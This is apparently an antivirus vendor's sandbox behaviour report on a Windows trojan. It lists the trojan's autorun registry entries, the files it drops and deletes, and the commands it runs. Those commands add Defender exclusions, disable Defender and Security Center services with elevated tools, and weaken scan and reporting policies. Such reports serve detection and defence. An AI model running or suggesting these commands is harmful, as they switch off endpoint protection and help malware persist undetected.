Trojan.Siggen31.27558

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'CattlemanRemob' = '%ProgramFiles(x86)%\Fredrick\Nicholas.exe "OverthOverttOverttOvertpOvert:Overt/Overt/OvertwOvertwOvertwOvert...
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'CattlemanRemo' = '%LOCALAPPDATA%\Nicholas.exe "OverthOverttOverttOvertpOvert:Overt/Overt/OvertwOvertwOvertwOvert.OvertaOvertlOv...
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'RooseveltRemo' = '"%ProgramFiles(x86)%\Fredrick\leng.exe"'
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'RooseveltRooseveltn' = '"%LOCALAPPDATA%\linz.exe"'
[HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'RooseveltRoosevelt' = '"%ProgramFiles(x86)%\Fredrick\leng.exe"'

Creates or modifies the following files

<SYSTEM32>\tasks\30lsq4\cmla9f

Malicious functions

To complicate detection of its presence in the operating system,

blocks execution of the following system utilities:

Windows Security Center
Windows Defender

adds antivirus exclusion:

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%TEMP%\nshD78A.tmp\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\countenancecountenance\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\linzlinz\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\maid\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\care\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\Fredrick\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%ProgramFiles(x86)%\interlinking\""
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\""

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im Nicholas.exe

Launches a large number of processes

Modifies file system

Creates the following files

%TEMP%\nshd78a.tmp\nsexec.dll
%WINDIR%\temp\ydjexvz
%TEMP%\autc2c2.tmp
%TEMP%\lqodiov
%WINDIR%\temp\autc5fd.tmp
%WINDIR%\temp\kvavygy
%WINDIR%\temp\autc754.tmp
%TEMP%\mynpkcy
%WINDIR%\temp\nhthaen
%WINDIR%\temp\tzyxboj
%TEMP%\nshd78a.tmp\30828.exe
%TEMP%\nshd78a.tmp\leng.exe
%TEMP%\nshd78a.tmp\edgar.exe
%TEMP%\nshd78a.tmp\prompted.xml
%TEMP%\nshd78a.tmp\nicholas.xml
%WINDIR%\temp\bqqugwc
%WINDIR%\temp\autc1c8.tmp
%WINDIR%\temp\autc12c.tmp
%TEMP%\autbe7e.tmp
%TEMP%\nshd78a.tmp\nicholasl.xml
%WINDIR%\temp\autb338.tmp
%WINDIR%\temp\craurol
%TEMP%\autb4cd.tmp
%TEMP%\ubfmbcf
%WINDIR%\temp\autb7ca.tmp
%TEMP%\nshd78a.tmp\londono.xml
%WINDIR%\temp\autb1d1.tmp
%WINDIR%\temp\autca41.tmp
%WINDIR%\temp\vbzifcy
%TEMP%\trjxwea
%WINDIR%\temp\autbb62.tmp
%WINDIR%\temp\pwvkjqq
%WINDIR%\temp\autbdc3.tmp
%WINDIR%\temp\qfeazqt
%WINDIR%\temp\autb7f9.tmp
%WINDIR%\temp\rarsnaf
%TEMP%\autb895.tmp
%TEMP%\aut95e8.tmp
%TEMP%\nshd78a.tmp\londonol.xml
%ProgramFiles(x86)%\fredrick\runtimes\win-arm64\native\webview2loader.dll
%ProgramFiles(x86)%\fredrick\runtimes\win-x64\native\webview2loader.dll
%ProgramFiles(x86)%\fredrick\runtimes\win-x86\native\webview2loader.dll
%TEMP%\nsi139.tmp\system.dll
%TEMP%\nsi139.tmp\nsexec.dll
%TEMP%\nss5bb.tmp\system.dll
%TEMP%\nss5bb.tmp\nsexec.dll
%ProgramFiles(x86)%\care\amortize.exe
%TEMP%\sgqnunb
%ProgramFiles(x86)%\care\weaved.exe
%ProgramFiles(x86)%\fredrick\nicholas.exe.config
%ProgramFiles(x86)%\fredrick\microsoft.web.webview2.winforms.dll
%ProgramFiles(x86)%\fredrick\microsoft.web.webview2.wpf.dll
%ProgramFiles(x86)%\fredrick\microsoft.web.webview2.core.dll
%ProgramFiles(x86)%\fredrick\class.dll
%ProgramFiles(x86)%\fredrick\nicholas.dll
%ProgramFiles(x86)%\fredrick\weaved.exe
%ProgramFiles(x86)%\fredrick\tabacco.exe
%WINDIR%\temp\lvjcakv
%ProgramFiles(x86)%\linzlinz\linz.exe
%TEMP%\nshd78a.tmp\amortize.xml
%TEMP%\nshd78a.tmp\nicholasa.xml
%TEMP%\nshd78a.tmp\londonoa.xml
%TEMP%\nshd78a.tmp\brookner.xml
%TEMP%\nshd78a.tmp\tabacco.xml
%TEMP%\nshd78a.tmp\weaved.xml
%TEMP%\nshd78a.tmp\cannelloni.xml
%ProgramFiles(x86)%\maid\pilon.exe
%TEMP%\nshd78a.tmp\nicholasn.xml
%TEMP%\nshd78a.tmp\londonon.xml
%TEMP%\nshd78a.tmp\countenance.xml
%TEMP%\nshd78a.tmp\linz.xml
%TEMP%\nshd78a.tmp\linzl.xml
%TEMP%\nshd78a.tmp\111625.exe
%TEMP%\nsxde8c.tmp\simplefc.dll
%ProgramFiles(x86)%\countenancecountenance\countenance.exe
%TEMP%\nshd78a.tmp\pilon.xml
%TEMP%\nshd78a.tmp\englishman.xml
%TEMP%\autaf61.tmp
%WINDIR%\temp\dvkwyfc
%WINDIR%\temp\autadfa.tmp
%TEMP%\aut7db7.tmp
%TEMP%\kprgvbf
%WINDIR%\temp\aut7f1e.tmp
%WINDIR%\temp\cratxnj
%WINDIR%\temp\aut81cc.tmp
%TEMP%\dstupiu
%TEMP%\nshd78a.tmp\3bn-1.bat
%WINDIR%\temp\ujkzmie
%WINDIR%\temp\aut820a.tmp
%TEMP%\wcackrg
%WINDIR%\temp\aut85f1.tmp
%WINDIR%\temp\zfygmmi
%WINDIR%\temp\aut892c.tmp
%WINDIR%\temp\yqijkov
%WINDIR%\temp\wpxseoy
%WINDIR%\temp\zlebcsa
%TEMP%\aut843c.tmp
%ProgramFiles(x86)%\fredrick\nicholas.exe
%TEMP%\aut8b1f.tmp
%WINDIR%\temp\aut78a8.tmp
%TEMP%\nshd78a.tmp\powerrun64.exe
%TEMP%\nshd78a.tmp\setacl64.exe
%TEMP%\nshd78a.tmp\0bn.bat
%TEMP%\nshd78a.tmp\1bn-1.bat
%TEMP%\nshd78a.tmp\1bn-2.bat
%TEMP%\nshd78a.tmp\1bn-3.bat
%WINDIR%\temp\lkisnoz
%TEMP%\aut7934.tmp
%TEMP%\nshd78a.tmp\2bn.bat
%TEMP%\nshd78a.tmp\3bn-3.bat
%TEMP%\nshd78a.tmp\3bn-4.bat
%TEMP%\nshd78a.tmp\3bn-5.bat
%TEMP%\nshd78a.tmp\4bn.bat
%TEMP%\aut735b.tmp
%TEMP%\galomsu
%TEMP%\nshd78a.tmp\microsoftedgewebview2setup.exe
%TEMP%\nshd78a.tmp\3bn-2.bat
%ProgramFiles(x86)%\fredrick\fredrick.exe
%TEMP%\wizunfm
%WINDIR%\temp\aut8ec7.tmp
%TEMP%\xxwkjfq
%WINDIR%\temp\auta13e.tmp
%WINDIR%\temp\yhjfrnt
%WINDIR%\temp\auta4e6.tmp
%WINDIR%\temp\kbpwjrq
%TEMP%\auta563.tmp
%WINDIR%\temp\aut8c19.tmp
%TEMP%\aut9fc7.tmp
%WINDIR%\temp\glxcnjx
%WINDIR%\temp\auta8bd.tmp
%WINDIR%\temp\uwlyncp
%TEMP%\autaa04.tmp
%TEMP%\xhuvglu
%WINDIR%\temp\autadcb.tmp
%WINDIR%\temp\gejnoui
%TEMP%\texkiei
%WINDIR%\temp\rzzyotq
%WINDIR%\temp\rdnjqjz
%WINDIR%\temp\auta7b3.tmp
%WINDIR%\temp\aut7cdc.tmp
%WINDIR%\temp\qqjxtxb
%TEMP%\aut8fc1.tmp
%TEMP%\oskrzje
%WINDIR%\temp\aut93e5.tmp
%WINDIR%\temp\qqhohaa
%WINDIR%\temp\aut9472.tmp
%WINDIR%\temp\aut9de4.tmp
%WINDIR%\temp\aut9f3b.tmp
%WINDIR%\temp\cetmgyt
%WINDIR%\temp\aut9961.tmp
%WINDIR%\temp\nkftjpr
%WINDIR%\temp\aut99bf.tmp
%WINDIR%\temp\mhswziv
%TEMP%\aut99ee.tmp
%TEMP%\clkwfdn
%WINDIR%\temp\osjlwbv
%TEMP%\tackofz
%TEMP%\nsiaab.tmp\nsexec.dll

Deletes the following files

%TEMP%\aut735b.tmp
%WINDIR%\temp\vbzifcy
%WINDIR%\temp\autb7ca.tmp
%TEMP%\ubfmbcf
%TEMP%\autb4cd.tmp
%WINDIR%\temp\craurol
%WINDIR%\temp\autb338.tmp
%WINDIR%\temp\lvjcakv
%WINDIR%\temp\autb1d1.tmp
%TEMP%\sgqnunb
%TEMP%\autaf61.tmp
%WINDIR%\temp\autadfa.tmp
%WINDIR%\temp\rarsnaf
%WINDIR%\temp\gejnoui
%WINDIR%\temp\autadcb.tmp
%TEMP%\xhuvglu
%TEMP%\autaa04.tmp
%WINDIR%\temp\uwlyncp
%WINDIR%\temp\auta8bd.tmp
%WINDIR%\temp\rzzyotq
%WINDIR%\temp\auta7b3.tmp
%TEMP%\texkiei
%WINDIR%\temp\dvkwyfc
%WINDIR%\temp\nkftjpr
%TEMP%\autb895.tmp
%TEMP%\nss5bb.tmp\nsexec.dll
%TEMP%\nsi139.tmp\system.dll
%TEMP%\nsi139.tmp\nsexec.dll
%TEMP%\nsxde8c.tmp\simplefc.dll
%WINDIR%\temp\tzyxboj
%WINDIR%\temp\autca41.tmp
%WINDIR%\temp\nhthaen
%WINDIR%\temp\autc754.tmp
%WINDIR%\temp\kvavygy
%WINDIR%\temp\autc5fd.tmp
%TEMP%\auta563.tmp
%WINDIR%\temp\autb7f9.tmp
%WINDIR%\temp\ydjexvz
%WINDIR%\temp\autc1c8.tmp
%WINDIR%\temp\bqqugwc
%WINDIR%\temp\autc12c.tmp
%TEMP%\mynpkcy
%TEMP%\autbe7e.tmp
%WINDIR%\temp\qfeazqt
%WINDIR%\temp\autbdc3.tmp
%WINDIR%\temp\pwvkjqq
%WINDIR%\temp\autbb62.tmp
%TEMP%\autc2c2.tmp
%TEMP%\trjxwea
%WINDIR%\temp\kbpwjrq
%WINDIR%\temp\auta4e6.tmp
%WINDIR%\temp\yhjfrnt
%WINDIR%\temp\cratxnj
%WINDIR%\temp\yqijkov
%WINDIR%\temp\aut892c.tmp
%WINDIR%\temp\zfygmmi
%WINDIR%\temp\aut85f1.tmp
%TEMP%\wcackrg
%TEMP%\aut843c.tmp
%WINDIR%\temp\zlebcsa
%WINDIR%\temp\wpxseoy
%WINDIR%\temp\aut820a.tmp
%TEMP%\nss5bb.tmp\system.dll
%TEMP%\wizunfm
%WINDIR%\temp\aut7f1e.tmp
%TEMP%\kprgvbf
%TEMP%\aut7db7.tmp
%WINDIR%\temp\ujkzmie
%WINDIR%\temp\aut7cdc.tmp
%TEMP%\dstupiu
%TEMP%\aut7934.tmp
%WINDIR%\temp\lkisnoz
%WINDIR%\temp\aut78a8.tmp
%TEMP%\galomsu
%WINDIR%\temp\aut81cc.tmp
%TEMP%\lqodiov
%WINDIR%\temp\aut8c19.tmp
%WINDIR%\temp\qqjxtxb
%WINDIR%\temp\rdnjqjz
%WINDIR%\temp\auta13e.tmp
%TEMP%\xxwkjfq
%TEMP%\aut9fc7.tmp
%WINDIR%\temp\glxcnjx
%WINDIR%\temp\aut9f3b.tmp
%WINDIR%\temp\cetmgyt
%WINDIR%\temp\aut9de4.tmp
%TEMP%\clkwfdn
%TEMP%\aut99ee.tmp
%WINDIR%\temp\aut8ec7.tmp
%WINDIR%\temp\mhswziv
%TEMP%\aut8b1f.tmp
%WINDIR%\temp\aut9961.tmp
%TEMP%\tackofz
%TEMP%\aut95e8.tmp
%WINDIR%\temp\osjlwbv
%WINDIR%\temp\aut9472.tmp
%WINDIR%\temp\qqhohaa
%WINDIR%\temp\aut93e5.tmp
%TEMP%\oskrzje
%TEMP%\aut8fc1.tmp
%WINDIR%\temp\aut99bf.tmp
%TEMP%\nsiaab.tmp\nsexec.dll

Miscellaneous

Creates and executes the following

'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\30828.exe'
'%TEMP%\nshd78a.tmp\leng.exe'
'%ProgramFiles(x86)%\maid\pilon.exe'
'%ProgramFiles(x86)%\care\amortize.exe'
'%TEMP%\nshd78a.tmp\edgar.exe' "%TEMP%\nshD78A.tmp\weaved"
'%ProgramFiles(x86)%\care\weaved.exe' "OverthOverttOverttOvertpOvert:Overt/Overt/OvertwOvertwOvertwOvert.OvertaOvertlOvertaOvertmOvertoOvertsOvertaOvertvOverteOvertrOvertrOvertiOvert.OvertcOvertoOvertmOvert/Overtl2ea0ea2eaOvert5ea0...
'%ProgramFiles(x86)%\linzlinz\linz.exe'
'%TEMP%\nshd78a.tmp\edgar.exe' "%TEMP%\nshD78A.tmp\linz"
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\edgar.exe' "%TEMP%\nshD78A.tmp\pilon"
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\powerrun64.exe' /TI/ /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\setacl64.exe' -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
'%TEMP%\nshd78a.tmp\powerrun64.exe' /SW:0 <SYSTEM32>\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'%TEMP%\nshd78a.tmp\edgar.exe' "%TEMP%\nshD78A.tmp\amortize"

Executes the following

'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\schtasks.exe' /create /xml ""%TEMP%\nshD78A.tmp\amortize".xml" /tn "" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c %TEMP%\nshD78A.tmp\4bn.bat
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
'<SYSTEM32>\taskeng.exe' {7E839466-3EF0-4570-9D88-42BF8F44E1F9} S-1-5-21-3691498038-2086406363-2140527554-1000:rmmeadlyamn\user:Interactive:[1]
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t reg_DWORD /d "0" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t reg_DWORD /d "2" /f
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\pilonpilon"
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "Get-MpPreference"
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReportingLocation" /t reg_MULTI_SZ /d "0" /f
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_USER_DATA_FOLDER "%LOCALAPPDATA%\pilon45"
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
'%WINDIR%\syswow64\setx.exe' WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS "--user-agent=\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; amortize-1132467510; amortize-1132467510) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0...
'<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
